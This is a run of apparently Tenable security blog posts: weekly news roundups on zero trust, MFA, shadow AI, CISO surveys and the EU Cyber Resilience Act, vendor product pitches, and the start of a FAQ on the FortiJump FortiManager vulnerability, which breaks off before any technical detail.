• Following mandated regulations: Financial institutions juggle a complex set of regulations and industry standards like the Payment Card Industry Data Security Standard (PCI-DSS). Tenable simplifies compliance with a host of international regulations by providing timely reports and audit trails.

Beyond traditional security: More than just a lock

Modern technology stacks for data storage require a modern cybersecurity stack. Traditional security solutions are unable to address the unique risks associated with storing data in cloud technologies. Financial organizations that leverage Tenable’s data security platform are able to meet existing and future challenges, including:

• Preventing data loss: Early detection and prevention of unauthorized data access can help organizations minimize financial losses and reputational damage, keeping valuable assets safe from even the most cunning thieves.
• Complying with regulations: Automated reports and adherence to the most stringent regulations and industry standards ensure compliance, saving time and resources.
• Automating workflows: Tenable automates tasks and provides deeper insights into how data behaves, enabling organizations to free up their valuable resources for other endeavors and make their security teams more efficient.
• Managing access: Just like knowing who has access to the vault is crucial. Tenable tracks who and what has access to data, ensuring only authorized parties can handle the data.

The future of financial security is data-centric

Tenable Cloud Security's data-centric approach positions it as a valuable partner, not just for guarding the perimeter but for understanding the inner workings of the vault and the most sensitive data within it. By leveraging Tenable’s capabilities, financial institutions can confidently embrace the cloud while ensuring the highest level of security for their most valuable assets — their data.

To learn more about how you can secure your data

• Webinar: Know Your Exposure: Is Your Cloud Data Secure in the Age of AI?
• Data Sheet: Data Security in a Unified Cloud Security Solution
• Infographic: When CNAPP met DSPM
• Demo Video

Should critical infrastructure orgs boost OT/ICS systems’ security with zero trust? Absolutely, the CSA says. Meanwhile, the Five Eyes countries offer cyber advice to tech startups. Plus, a survey finds “shadow AI” weakening data governance. And get the latest on MFA methods, CISO trends and Uncle Sam’s AI strategy.

Dive into six things that are top of mind for the week ending Nov. 1.

1 - Securing OT/ICS in critical infrastructure with zero trust

As their operational technology (OT) computing environments become more digitized, converged with IT systems and cloud-based, critical infrastructure organizations should beef up their cybersecurity by adopting zero trust principles.

That’s the key message of the Cloud Security Alliance’s “Zero Trust Guidance for Critical Infrastructure,” which focuses on applying zero trust methods to OT and industrial control system (ICS) systems.

While OT/ICS environments were historically air gapped, that’s rarely the case anymore. “Modern systems are often interconnected via embedded wireless access, cloud and other internet-connected services, and software-as-a-service (SaaS) applications,” reads the 64-page white paper, which was published this week.

The CSA hopes the document will help cybersecurity teams and OT/ICS operators enhance the way they communicate and collaborate.

 

 

Among the topics covered are:

• Critical infrastructure’s unique threat vectors
• The convergence of IT/OT with digital transformation
• Architecture and technology differences between OT and IT

The guide also outlines this five-step process for implementing zero trust in OT/ICS environments:

• Define the surface to be protected
• Map operational flows
• Build a zero trust architecture
• Draft a zero trust policy
• Monitor and maintain the environment

A zero trust strategy boosts the security of critical OT/ICS systems by helping teams “keep pace with rapid technological advancements and the evolving threat landscape,” Jennifer Minella, the paper’s lead author, said in a statement.

To get more details, read:

• The report’s announcement “New Paper from Cloud Security Alliance Examines Considerations and Application of Zero Trust Principles for Critical Infrastructure”
• The full report “Zero Trust Guidance for Critical Infrastructure”
• A complementary slide presentation

For more information about OT systems cybersecurity, check out these Tenable resources: 

• “What is operational technology (OT)?” (guide)
• “Discover, Measure, and Minimize the Risk Posed by Your Interconnected IT/OT/IoT Environments” (on-demand webinar)
• “How To Secure All of Your Assets - IT, OT and IoT - With an Exposure Management Platform” (blog)
• “Blackbox to blueprint: The security leader’s guidebook to managing OT and IT risk” (white paper)
• “Tenable Cloud Risk Report 2024” (white paper)

2 - Five Eyes publish cyber guidance for tech startups

Startup tech companies can be attractive targets for hackers, especially if they have weak cybersecurity and valuable intellectual property (IP).

To help startups prevent cyberattacks, the Five Eyes countries this week published cybersecurity guides tailored for these companies and their investors.

“This guidance is designed to help tech startups protect their innovation, reputation, and growth, while also helping tech investors fortify their portfolio companies against security risks," Mike Casey, U.S. National Counterintelligence and Security Center Director, said in a statement.

These are the top five cybersecurity recommendations from Australia, Canada, New Zealand, the U.S. and the U.K. for tech startups:

• Be aware of threat vectors, including malicious insiders, insecure IT and supply chain risk.
• Identify your most critical assets and conduct a risk assessment to pinpoint vulnerabilities.
• Build security into your products by managing intellectual assets and IP; monitoring who has access to sensitive information; and ensuring this information’s protection.
• Conduct due diligence when choosing partners and make sure they’re equipped to protect the data you share with them.
• Before you expand abroad, prepare and become informed about these new markets by, for example, understanding local laws in areas such as IP protection and data protection.

 

 

“Sophisticated nation-state adversaries, like China, are working hard to steal the intellectual property held by some of our countries’ most innovative and exciting startups,” Ken McCallum, Director General of the U.K.’s MI5, said in a statement.

To get more details, check out these Five Eyes’ cybersecurity resources for tech startups:

• The announcement “Five Eyes Launch Shared Security Advice Campaign for Tech Startups”
• The main guides: 
  • “Secure Innovation: Security Advice for Emerging Technology Companies”
  • “Secure Innovation: Security Advice for Emerging Technology Investors”
• These complementary documents:
  • “Secure Innovation: Scenarios and Mitigations”
  • “Secure Innovation: Travel Security Guidance”
  • “Secure Innovation: Due Diligence Guidance”
  • “Secure Innovation: Companies Summary”

3 - Survey: Unapproved AI use impacting data governance

Employees’ use of unauthorized AI tools is creating compliance issues in a majority of organizations. Specifically, it makes it harder to control data governance and compliance, according to almost 60% of organizations surveyed by market researcher Vanson Bourne.

“Amid all the investment and adoption enthusiasm, many organisations are struggling for control and visibility over its use,” reads the firm’s “AI Barometer: October 2024” publication. Vanson Bourne polls 100 IT and business executives each month about their AI investment plans.

To what extent do you think the unsanctioned use of AI tools is impacting your organisation's ability to maintain control over data governance and compliance?

(Source: Vanson Bourne’s “AI Barometer: October 2024”)

Close to half of organizations surveyed (44%) believe that at least 10% of their employees are using unapproved AI tools.

On a related front, organizations are also grappling with the issue of software vendors that unilaterally and silently add AI features to their products, especially to their SaaS applications.

While surveyed organizations say they’re reaping advantages from their AI usage, “such benefits are dependent on IT teams having the tools to address the control and visibility challenges they face,” the publication reads.

For more information about the use of unapproved AI tools, an issue also known as “shadow AI,” check out:

• “Do You Think You Have No AI Exposures? Think Again” (Tenable)
• “Shadow AI poses new generation of threats to enterprise IT” (TechTarget)
• “10 ways to prevent shadow AI disaster” (CIO)
• “Never Trust User Inputs -- And AI Isn't an Exception: A Security-First Approach” (Tenable)
• “Shadow AI in the ‘dark corners’ of work is becoming a big problem for companies” (CNBC)

VIDEO

Shadow AI Risks in Your Company

 

4 - NCSC explains nuances of multi-factor authentication

Multi-factor authentication (MFA) comes in a variety of flavors, and understanding the differences is critical for choosing the right option for each use case in your organization.

To help cybersecurity teams better understand the different MFA types and their pluses and minuses, the U.K. National Cyber Security Centre (NCSC) has updated its MFA guidance.

“The new guidance explains the benefits that come with strong authentication, while also minimising the friction that some users associate with MFA,” reads an NCSC blog.

 

 

In other words, what type of MFA method to use depends on people’s roles, how they work, the devices they use, the applications or services they’re accessing and so on.

Topics covered include:

• Recommended types of MFA, such as FIDO2 credentials, app-based and hardware-based code generators and message-based methods
• The importance of using strong MFA to secure users’ access to sensitive data
• The role of trusted devices in boosting and simplifying MFA
• Bad practices that weaken MFA’s effectiveness, such as:
  • Retaining weaker, password-only authentication protocols for legacy services
  • Excluding certain accounts from MFA requirements because their users, usually high-ranking officials, find MFA inconvenient

To get more details, read:

• The NCSC blog “Not all types of MFA are created equal”
• The NCSC guide “Multi-factor authentication for your corporate online services”

For more information about MFA:

• “Multifactor Authentication Cheat Sheet” (OWASP)
• “Deploying Multi Factor Authentication – The What, How, and Why” (SANS Institute)
• “How MFA gets hacked — and strategies to prevent it” (CSO)
• “How Multifactor Authentication Supports Growth for Businesses Focused on Zero Trust” (BizTech)
• “What is multi-factor authentication?” (TechTarget)

5 - U.S. gov’t outlines AI strategy, ties it to national security 

The White House has laid out its expectations for how the federal government ought to promote the development of AI in order to safeguard U.S. national security.

In the country’s first-ever National Security Memorandum (NSM) on AI, the Biden administration said the federal government must accomplish the following:

• Ensure the U.S. is the leader in the development of safe, secure and trustworthy AI
• Leverage advanced AI technologies to boost national security
• Advance global AI consensus and governance

“The NSM’s fundamental premise is that advances at the frontier of AI will have significant implications for national security and foreign policy in the near future,” reads a White House statement.

 

 

The NSM’s directives to federal agencies include:

• Help improve the security of chips and support the development of powerful supercomputers to be used by AI systems.
• Help AI developers protect their work against foreign spies by providing them with cybersecurity and counterintelligence information.
• Collaborate with international partners to create a governance framework for using AI in a way that is ethical, responsible and respects human rights. 

The White House also published a complementary document titled “Framework To Advance AI Governance and Risk Management in National Security,” which adds implementation details and guidance for the NSM.

6 - State CISOs on the frontlines of AI security

As the cybersecurity risks and benefits of AI multiply, most U.S. state CISOs find themselves at the center of their governments' efforts to craft AI security strategies and policies.

That’s according to the “2024 Deloitte-NASCIO Cybersecurity Study,” which surveyed CISOs from all 50 states and the District of Columbia.

Specifically, 88% of state CISOs reported being involved in the development of a generative AI strategy, while 96% are involved with creating a generative AI security policy.

However, their involvement in AI cybersecurity matters isn’t necessarily making them optimistic about their states’ ability to fend off AI-boosted attacks.

None said they feel “extremely confident” that their state can prevent AI-boosted attacks, while only 10% reported feeling “very confident.” The majority (43%) said they feel “somewhat confident” while the rest said they are either “not very confident” or “not confident at all.”

 

 

Naturally, most state CISOs see AI-enabled cyberthreats as significant, with 71% categorizing them as either “very high threat” (18%) or “somewhat high threat” (53%).

At the same time, state CISOs see the potential for AI to help their cybersecurity efforts, as 41% are already using generative AI for cybersecurity, and another 43% have plans to do so by mid-2025.

Other findings from the "2024 Deloitte-NASCIO Cybersecurity Study" include:

• 4 in 10 state CISOs feel their budget is insufficient.
• Almost half of respondents rank cybersecurity staffing as one of the top challenges.
• In the past two years, 23 states have hired new CISOs, as the median tenure of a state CISO has dropped to 23 months, down from 30 months in 2022.
• More state CISOs are taking on privacy protection duties — 86% are responsible for privacy protection, up from 60% two years ago.

For more information about CISO trends:

• “What’s important to CISOs in 2024” (PwC)
• “The CISO’s Tightrope: Balancing Security, Business, and Legal Risks in 2024” (The National CIO Review)
• “State of CISO Leadership: 2024” (SC World)
• “4 Trends That Will Define the CISO's Role in 2024” (SANS Institute)

The CISA Known Exploited Vulnerabilities (KEV) catalog and enhanced logging guidelines are among the new measurement tools added for the 2024 State and Local Cybersecurity Grant Program.

Last month, the Department of Homeland Security announced the availability of $279.9 million in grant funding for the Fiscal Year (FY) 2024 State and Local Cybersecurity Grant Program (SLCGP). Now in its third year, the four-year, $1 billion program provides funding for State, Local and Territorial (SLT) governments to implement cybersecurity solutions that address the growing threats and risks to their information systems. Applications must be submitted by December 3, 2024.

While there are no significant modifications to the program for FY 2024, the Federal Emergency Management Agency (FEMA), which administers SLCGP in coordination with the Cybersecurity and Infrastructure Security Agency (CISA), identified key changes, some of which we highlight below:

The FY 2024 NOFO adds CISA’s KEV catalog as a new performance measure and recommended resource

The FY 2024 notice of funding opportunity (NOFO) adds the CISA Known Exploited Vulnerabilities (KEV) catalog as a recommended resource to encourage governments to regularly view information related to cybersecurity vulnerabilities confirmed by CISA, prioritizing those exploited in the wild. In addition, CISA has added “Addressing CISA-identified cybersecurity vulnerabilities” to the list of performance measures it will collect through the duration of the program.

Tenable offers fastest, broadest coverage of CISA’s KEV catalog

At Tenable, our goal is to help organizations identify their cyber exposure gaps as accurately and quickly as possible. To achieve this goal, we have research teams around the globe working to provide precise and prompt coverage for new threats as they are discovered. Tenable monitors and tracks additions to the CISA KEV catalog on a daily basis and prioritizes developing new detections where they do not already exist.

Tenable updates the KEV coverage of its vulnerability management products — Tenable Nessus, Tenable Security Center and Tenable Vulnerability Management — allowing organizations to use KEV catalog data as an additional prioritization metric when figuring out what to fix first. The ready availability of this data in Tenable products can help agencies meet the SLCGP performance measures. This blog offers additional information on Tenable’s coverage of CISA’s KEV catalog.

FY 2024 NOFO adds “Adopting Enhanced Logging” as a new performance measure

The FY 2024 NOFO also adds “Adopting Enhanced Logging” to the list of performance measures CISA will collect throughout the program duration.

How Tenable’s library of compliance audits can help with Enhanced Logging

Tenable's library of Compliance Audits, including Center for Internet Security (CIS) and Defense Information Systems Agency (DISA), allows organizations to assess systems for compliance, including ensuring Enhanced Logging is enabled. Tenable's vulnerability management tools enable customers to easily schedule compliance scans. Users can choose from a continuously updated library of built-in audits or upload custom audits. By conducting these scans regularly, organizations can ensure their systems are secure and maintain compliance with required frameworks.

FY 2024 NOFO continues to require applicants to address program objectives in their applications

As with previous years, the FY 2024 NOFO sets four program objectives. Applicants must address at least one of the following in their applications:

• Objective 1: Develop and establish appropriate governance structures, including by developing, implementing, or revising Cybersecurity Plans, to improve capabilities to respond to cybersecurity incidents, and ensure operations.
• Objective 2: Understand their current cybersecurity posture and areas for improvement based on continuous testing, evaluation, and structured assessments.
• Objective 3: Implement security protections commensurate with risk.
• Objective 4: Ensure organization personnel are appropriately trained in cybersecurity, commensurate with responsibility.

How Tenable can help agencies meet Objective 2 of the program

Tenable is uniquely positioned to help SLTs meet Objective 2 through the Tenable One Exposure Management Platform. In addition to analyzing traditional IT environments, Tenable One analyzes cloud instances, web applications, critical infrastructure environments, identity access and privilege solutions such as Active Directory and more — including highly dynamic assets like mobile devices, virtual machines and containers. Once the complete attack surface is understood, the Tenable One platform applies a proactive risk-based approach to managing exposure, allowing SLT agencies to successfully meet each of the sub-objectives outlined in Objective 2 (see table below).

Sub-objectiveHow Tenable helps2.1.1: Establish and regularly update asset inventoryTenable One deploys purpose-built sensors across on-premises and cloud environments to update inventories of human and machine assets, including cloud, IT, OT, IoT, mobile, applications, virtual machines, containers and identities2.3.2. Effectively manage vulnerabilities by prioritizing mitigation of high-impact vulnerabilities and those most likely to be exploited.

Tenable One provides an accurate picture of both internal and external exposure by detecting and prioritizing a broad range of vulnerabilities, misconfiguration and excessive permissions across the attack surface.

Threat intelligence and data science from Tenable Research are then applied to give agencies easy-to-understand risk scores. For example, Tenable One provides advanced prioritization metrics and capabilities, asset exposure scores which combine total asset risk and asset criticality, cyber exposure scoring which calculates overall exposure for the organization, peer benchmarking for comparable organizations, as well as the ability to track SLAs and risk patterns over time.

Further, Tenable One provides rich critical technical context in the form of attack path analysis that maps asset, identity and risk relationships which can be exploited by attackers. It also provides business context by giving users an understanding of the potential impact on the things that matter most to an agency, such as business critical apps, services, processes and functions. These contextual views greatly improve the ability of security teams to prioritize and focus action where they can best reduce the potential for material impact. These advanced prioritization capabilities, along with mitigation guidance, ensure high-risk vulnerabilities can be addressed quickly.

2.4.1 SLT agencies are able to analyze network traffic and activity transiting or traveling to or from information systems, applications, and user accounts to understand baseline activity and identify potential threats.

Tenable provides purpose-built sensors, including a passive sensor, which can determine risk based on network traffic. After being placed on a Switched Port Analyzer (SPAN) port or network tap, the passive sensor will be able to discover new devices on a network as soon as they begin to send traffic, as well as discover vulnerabilities based on, but not limited to:

• Services
• User-agents
• Application traffic

2.5.1 SLT agencies are able to respond to identified events and incidents, document root cause, and share information with partners.

Tenable One can help SLT agencies respond to identified events and incidents and document root cause more quickly. SOC analysts managing events and incidents and vulnerability analysts focused on remediation of vulnerabilities have access to deep technical content in the form of attack paths, with risk and and configuration details to verify viability, as well as business context to understand the potential impact to their agency.

This information is valuable not only to validate why IT teams should prioritize mitigation of issues before breach, but to prove that a successful attack has occurred. Further, agencies can deliver dashboards, reports and scorecards to help share important security data in meaningful ways across teams and with partners. Agencies are able to customize these to show the data that matters most and add details specific to their requirements. 

Source: Tenable, October 2024

Tenable One deployment options offer flexibility for SLT agencies

Tenable offers SLT agencies flexibility in their implementation models to help them best meet the requirements and objectives outlined as part of the SLCGP. Deployment models include:

• Centralized risk-based vulnerability program managed by a state Department of Information Technology (DoIT)
• Multi-entity projects
• Decentralized deployments of Tenable One managed by individual municipalities,
• Managed Security Service Provider (MSSP) models that allow agencies to rapidly adopt solutions by utilizing Tenable’s Technology Partner network.

Whole-of-state approach enables state-wide collaboration and cooperation

A “whole-of-state” approach — which enables state-wide collaboration to improve the cybersecurity posture of all stakeholders — allows state governments to share resources to support cybersecurity programs for local government entities, educational institutions and other organizations. Shared resources increase the level of defense for SLTs both individually and as a community and reduce duplication of work and effort. States get real-time visibility into all threats and deploy a standard strategy and toolset to improve cyber hygiene, accelerate incident response and reduce statewide risk. For more information, read Protecting Local Government Agencies with a Whole-of-State Cybersecurity Approach.

FY 2024 NOFO advises SLT agencies to adopt key cybersecurity best practices

As in previous years, the FY 2024 NOFO again recommends SLT agencies adopt key cybersecurity best practices. To do this, they are required to consult the CISA Cross-Sector Cybersecurity Performance Goals (CPGs) throughout their development of plans and projects within the program. This is also a statutory requirement for receiving grant funding.

How Tenable One can help agencies meet the CISA CPGs

The CISA CPGs are a prioritized subset of cybersecurity practices aimed at meaningfully reducing risk to critical infrastructure operations and the American people. They provide a common set of IT and operational technology (OT) fundamental cybersecurity best practices to help SLT agencies address some of the most common and impactful cyber risks. Learn more about how Tenable One can help agencies meet the CISA CPGs here.

Learn more

• $1 Billion State and Local Cybersecurity Grant Program Now Open for Applicants
• Protecting Local Government Agencies with a Whole-of-State Cybersecurity Approach
• How to Meet FY 2023 U.S. State and Local Cybersecurity Grant Program Objectives
• New U.S. SLCGP Cybersecurity Plan Requirement: Adopt Cybersecurity Best Practices Using CISA's CPGs
• Study: Tenable Offers Fastest, Broadest Coverage of CISA's KEV Catalog

Looking for help with shadow AI? Want to boost your software updates’ safety? New publications offer valuable tips. Plus, learn why GenAI and data security have become top drivers of cyber strategies. And get the latest on the top “no-nos” for software security; the EU’s new cyber law; and CISOs’ communications with boards.

Dive into six things that are top of mind for the week ending Oct. 25.

1 - CSA: How to prevent “shadow AI” 

As organizations scale up their AI adoption, they must closely track their AI assets to secure them and mitigate their cyber risk. This includes monitoring the usage of unapproved AI tools by employees — an issue known as “shadow AI.”

So how do you identify, manage and prevent shadow AI? You may find useful ideas in the Cloud Security Alliance’s new “AI Organizational Responsibilities: Governance, Risk Management, Compliance and Cultural Aspects” white paper.

The white paper covers shadow AI topics including:

• Creating a comprehensive inventory of AI systems
• Conducting gap analyses to spot discrepancies between approved and actual AI usage
• Implementing ways to detect unauthorized AI wares
• Establishing effective access controls
• Deploying monitoring techniques

 

 

“By focusing on these key areas, organizations can significantly reduce the risks associated with shadow AI, ensuring that all AI systems align with organizational policies, security standards, and regulatory requirements,” the white paper reads.

For example, to create an inventory that offers the required visibility into AI assets, the document explains different elements each record should have, such as:

• The asset’s description
• Information about its AI models
• Information about its data sets and data sources
• Information about the tools used for its development and deployment
• Detailed documentation about its lifecycle, regulatory compliance, ethical considerations and adherence to industry standards
• Records of its access control mechanisms

Shadow AI is one of four topics covered in the publication, which also unpacks risk management; governance and compliance; and safety culture and training.

To get more details, read:

• The full “AI Organizational Responsibilities: Governance, Risk Management, Compliance and Cultural Aspects” white paper
• A complementary slide presentation
• The CSA blog “Shadow AI Prevention: Safeguarding Your Organization’s AI Landscape”

For more information about AI security issues, including shadow AI, check out these Tenable blogs:

• “Do You Think You Have No AI Exposures? Think Again”
• “Securing the AI Attack Surface: Separating the Unknown from the Well Understood”
• “Never Trust User Inputs -- And AI Isn't an Exception: A Security-First Approach”
• “6 Best Practices for Implementing AI Securely and Ethically”
• “Compromising Microsoft's AI Healthcare Chatbot Service”

2 - Best practices for secure software updates

The security and reliability of software updates took center stage in July when an errant update caused massive and unprecedented tech outages globally.

To help prevent such episodes, U.S. and Australian cyber agencies have published “Safe Software Deployment: How Software Manufacturers Can Ensure Reliability for Customers.”

“It is critical for all software manufacturers to implement a safe software deployment program supported by verified processes, including robust testing and measurements,” reads the 12-page document.

Although the guide is aimed primarily at commercial software vendors, its recommendations can be useful for any organization with software development teams that deploy updates internally.

 

 

The guide outlines key steps for a secure software development process, including planning; development and testing; internal rollout; and controlled rollout. It also addresses errors and emergency protocols.

“A safe software deployment process should be integrated with the organization’s SDLC, quality program, risk tolerance, and understanding of the customer’s environment and operations,” reads the guide, authored by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the FBI and the Australian Cyber Security Centre.

To get more details, read:

• The “Safe Software Deployment: How Software Manufacturers Can Ensure Reliability for Customers” guide
• The CISA alert “CISA, US, and International Partners Release Joint Guidance to Assist Software Manufacturers with Safe Software Deployment Processes”

For more information about secure software updates:

• “Tenable’s Software Update Process Protects Customers’ Business Continuity with a Safe, Do-No-Harm Design” (Tenable)
• “The critical importance of robust release processes” (Cloud Native Computing Foundation)
• “Software Deployment Security: Risks and Best Practices” (DevOps.com)
• “Software Updates, A Double-Edged Sword for Cybersecurity Professionals” (Infosecurity)
• “DevOps Best Practices for Faster and More Reliable Software Delivery” (DevOps.com)

3 - Report: GenAI, attack variety, data security drive cyber strategies

What issues act as catalysts for organizations’ cybersecurity actions today? Hint: They’re fairly recent concerns. The promise and peril of generative AI ranks first. It’s closely followed by the ever growing variety of cyberattacks; and by the intensifying urgency to protect data.

That’s according to CompTIA’s “State of Cybersecurity 2025” report, based on a survey of almost 1,200 business and IT pros in North America and in parts of Europe and Asia. 

These three key factors, along with others like the scale of attacks, play a critical role in how organizations currently outline their cybersecurity game plans.

“Understanding these drivers is essential for organizations to develop proactive and adaptive cybersecurity strategies that address the evolving threat landscape and safeguard their digital assets,” reads a CompTIA blog about the report.

Organizations are eagerly trying to understand both how generative AI can help their cybersecurity programs and how this technology is being used by malicious actors to make cyberattacks harder to detect and prevent.

Meanwhile, concern about data protection has ballooned in the past couple of years. “As organizations become more data-driven, the need to protect sensitive information has never been more crucial,” reads the blog.

Not only are organizations focused on securing data at rest, in transit and in use, but they’re also creating foundational data-management practices, according to the report.

“The rise of AI has accelerated the need for robust data practices in order to properly train AI algorithms, and the demand for data science continues to be strong as businesses seek competitive differentiation,” the report reads.

To get more details, read:

• The report’s announcement “Cybersecurity success hinges on full organizational support, new CompTIA report asserts”
• CompTIA’s blogs “Today’s top drivers for cybersecurity strategy” and “Cybersecurity’s maturity: CompTIA’s State of Cybersecurity 2025 report”
• The full “State of Cybersecurity 2025” report

For more information about data security posture management (DSPM) and preventing AI-powered attacks, check out these Tenable resources:

• “Harden Your Cloud Security Posture by Protecting Your Cloud Data and AI Resources” (blog)
• “Know Your Exposure: Is Your Cloud Data Secure in the Age of AI?” (on-demand webinar)
• “The Data-Factor: Why Integrating DSPM Is Key to Your CNAPP Strategy” (blog)
• “Mitigating AI-Related Security Risks” (on-demand webinar)
• “Securing the AI Attack Surface: Separating the Unknown from the Well Understood” (blog)

4 - CISA lists software dev practices most harmful for security

Recommended best practices abound in the cybersecurity world. However, CISA and the FBI are taking the opposite tack in their quest to improve the security of software products: They just released a list of the worst security practices that software manufacturers ought to avoid.

Titled “Product Security Bad Practices,” the document groups the “no-nos” into three main categories: product properties; security features; and organizational processes and policies.

“It’s 2024, and basic, preventable software defects continue to enable crippling attacks against hospitals, schools, and other critical infrastructure. This has to stop,” CISA Director Jen Easterly said in a statement.

“These product security bad practices pose unacceptable risks in this day and age, and yet are all too common,” she added.

 

 

Here are some of the worst practices detailed in the document, which is part of CISA’s “Secure by Design” effort:

• Using programming languages considered “memory unsafe”
• Including user-provided input in SQL query strings
• Releasing a product with default passwords
• Releasing a product with known and exploited vulnerabilities
• Not using multi-factor authentication
• Failing to disclose vulnerabilities in a timely manner

Although the guidance is aimed primarily at software makers whose products are used by critical infrastructure organizations, the recommendations apply to all software manufacturers.

If you’re interested in sharing your feedback with CISA and the FBI, you can submit comments about the document until December 16, 2024 on the Federal Register.

To get more details, check out:

• CISA’s announcement “CISA and FBI Release Product Security Bad Practices for Public Comment”
• The full document “Product Security Bad Practices”

For more information about how to develop secure software:

• “Tenable Partners with CISA to Enhance Secure By Design Practices” (Tenable)
• “Ensuring Application Security from Design to Operation with DevSecOps” (DevOps.com)
• “What is application security?” (TechTarget)
• “Guidelines for Software Development (Australian Cyber Security Centre)

5 - New EU law focuses on cybersecurity of connected digital products

Makers of digital products — both software and hardware — that directly or indirectly connect to networks and to other devices will have to comply with specific cybersecurity safeguards in the European Union.

A newly adopted law known as the “Cyber Resilience Act” outlines cybersecurity requirements for the design, development, production and lifecycle maintenance of these types of products, including IoT wares such as connected cars.

 

 

For example, it specifies a number of “essential cybersecurity requirements” for these products, including that they:

• Aren’t shipped with known exploitable vulnerabilities
• Feature a “secure by default” configuration
• Can fix their vulnerabilities via automatic software updates
• Offer access protection via control mechanisms, such as authentication and identity management
• Protect the data they store, transmit and process using, for example, at-rest and in-transit encryption

“The new regulation aims to fill the gaps, clarify the links, and make the existing cybersecurity legislative framework more coherent, ensuring that products with digital components (...) are made secure throughout the supply chain and throughout their lifecycle,” reads a statement from the EU’s European Council.

The law will “enter into force” after its publication in the EU’s official journal and will apply and be enforceable 36 months later, so most likely in October 2027 or November 2027. However, some of its provisions will be enforceable a year prior.

For more information and analysis about the EU’s Cyber Resilience Act:

• “Cyber Resilience Act Requirements Standards Mapping” (ENISA)
• “The Cyber Resilience Act, an Accidental European Alien Torts Statute?” (Lawfare)
• “EU Cybersecurity Regulation Adopted, Impacts Connected Products” (National Law Review)
• “Open source foundations unite on common standards for EU’s Cyber Resilience Act” (TechCrunch)
• “The Cyber Resilience Act: A New Era for Mobile App Developers” (DevOps.com)

VIDEO

The EU Cyber Resilience Act: A New Era for Business Engagement in Open Source Software (Linux Foundation) 

6 - UK cyber agency: CISOs must communicate better with boards

CISOs and boards of directors are struggling to understand each other, and this is increasing their organizations’ cyber risk, new research from the U.K.’s cyber agency has found.

For example, in one alarming finding, 80% of respondents, which included board members, CISOs and other cyber leaders in medium and large enterprises, confessed to being unsure of who is ultimately accountable for cybersecurity in their organizations.

“We found that in many organisations, the CISO (or equivalent role) thought that the Board was accountable, whilst the Board thought it was the CISO,” reads a blog about the research titled “How to talk to board members about cyber.”

As a result, the U.K. National Cyber Security Centre (NCSC) has released new guidance aimed at helping CISOs better communicate with their organizations’ boards titled “Engaging with Boards to improve the management of cyber security risk.”

“Cyber security is a strategic issue, which means you must engage with Boards on their terms and in their language to ensure the cyber risk is understood, managed and mitigated,” the document reads.

Here’s a small sampling of the advice:

• Understand your audience, including who are the board’s members and their areas of expertise; and how the board works, such as its meeting formats and its committees.
• Talk about cybersecurity in terms of risks, and outline these risks concretely and precisely, presenting them in a matter-of-fact way.
• Don’t limit your communication with board members to formal board meetings. Look for opportunities to talk to them individually or in small groups outside of these board meetings.
• Elevate the discussions so that you link cybersecurity with your organization’s business challenges, goals and context.
• Aim to provide a holistic view, and avoid using technical jargon.
• Aim to advise instead of to educate.

As organizations create and store more data in the cloud, security teams must ensure the data is protected from cyberthreats. Learn more about what causes data breaches and about the best practices you can adopt to secure data stored in the cloud.

With the explosion of data being generated and stored in the cloud, hackers are creating new and innovative attack techniques to gain access to cloud environments and steal data. A review of recent major data breaches shows us that data thieves are using social engineering, hunting for exposed credentials, looking for unpatched vulnerabilities and misconfigurations and employing other sophisticated techniques to breach cloud environments.

A look at recent cloud data-breach trends

Here are some takeaways from major data breaches that have occurred this year:

• Managing the risk from your third-parties – partners, service providers, vendors – has always been critical. It’s even more so when these trusted organizations have access to your cloud environment and cloud data. You must make sure that your third-parties are using proper cloud-security protections to safeguard their access to your cloud data and to your cloud environment.
• Secure your identities. We’ve seen major data breaches this year tracked down to simple missteps like failing to protect highly-privileged admin accounts and services with multi-factor authentication (MFA). 
• Adopt best practices to prevent ransomware attacks, and to mitigate them if you get hit by one. Ransomware gangs know that a surefire way to pressure victims into paying ransoms is to hijack their systems and threaten to expose their sensitive data. 

So, how can you strengthen your data security posture against these types of attacks?

1. Implement a "zero trust" security framework that requires all users, whether inside or outside the organization, to be authenticated, authorized and continuously validated before being granted or maintaining access to data. This framework should allow only time-limited access and be based on the principle of least privilege, which limits access and usage to the minimum amount of data required to perform the job.
2. Use a cloud data security posture management (DSPM) solution to enforce the security framework through continuous monitoring, automation, prioritization and visibility. DSPM solutions can help organizations identify and prioritize data security risks based on their severity, allowing them to focus their resources on the most critical issues.
3. Regularly conduct risk assessments to detect and remediate security risks before they can be exploited by hackers. This can help prevent data breaches and minimize the impact of any security incidents that do occur.
4. Train employees on security best practices, including how to create strong passwords, how to identify risks and how to report suspicious activity.

By following these recommendations, organizations can significantly reduce their risk of a data breach and improve handling sensitive data belonging to their organization. As more and more data moves to the cloud and hackers become more sophisticated, it's essential to prioritize security and take proactive measures to protect against data risks. 

Learn more

• Webinar: Know Your Exposure: Is Your Cloud Data Secure in the Age of AI?
• Data Sheet: Data Security Posture Management (DSPM) Integrated into Tenable Cloud Security
• Data Sheet: Securing AI Resources and Data in the Cloud with Tenable Cloud Security
• Infographic: When CNAPP Met DSPM
• Video: Demo Video: Data Security Posture Management and AI Security Posture Management

Frequently asked questions about a zero-day vulnerability in Fortinet’s FortiManager that has reportedly been exploited in the wild.

Background

The Tenable Security Response Team (SRT) has compiled this blog to answer Frequently Asked Questions (FAQ) regarding a zero-day vulnerability in Fortinet’s FortiManager.

Update October 23: The blog has been updated with new information about in-the-wild exploitation and threat actor activity associated with this vulnerability.

View Change Log

FAQ

What is FortiJump?

FortiJump is a name given to a zero-day vulnerability in the FortiGate-FortiManager (FGFM) protocol in Fortinet’s FortiManager and FortiManager Cloud. It was named by security researcher Kevin Beaumont in a blog post on October 22. Beaumont also created a logo for FortiJump.

What are the vulnerabilities associated with FortiJump?

On October 23, Fortinet published an advisory (FG-IR-24-423) for FortiJump, assigning a CVE identifier for the flaw.

CVEDescriptionCVSSv3CVE-2024-47575FortiManager Missing authentication in fgfmsd Vulnerability9.8

What is CVE-2024-47575?

CVE-2024-47575 is a missing authentication vulnerability in the FortiGate to FortiManager (FGFM) daemon (fgfmsd) in FortiManager and FortiManager Cloud.

How severe is CVE-2024-47575?

Exploitation of FortiJump could allow an unauthenticated, remote attacker using a valid FortiGate certificate to register unauthorized devices in FortiManager. Successful exploitation would grant the attacker the ability to view and modify files, such as configuration files, to obtain sensitive information, as well as the ability to manage other devices.

Obtaining a certificate from a FortiGate device is relatively easy:

Comment
by from discussion
infortinet

 

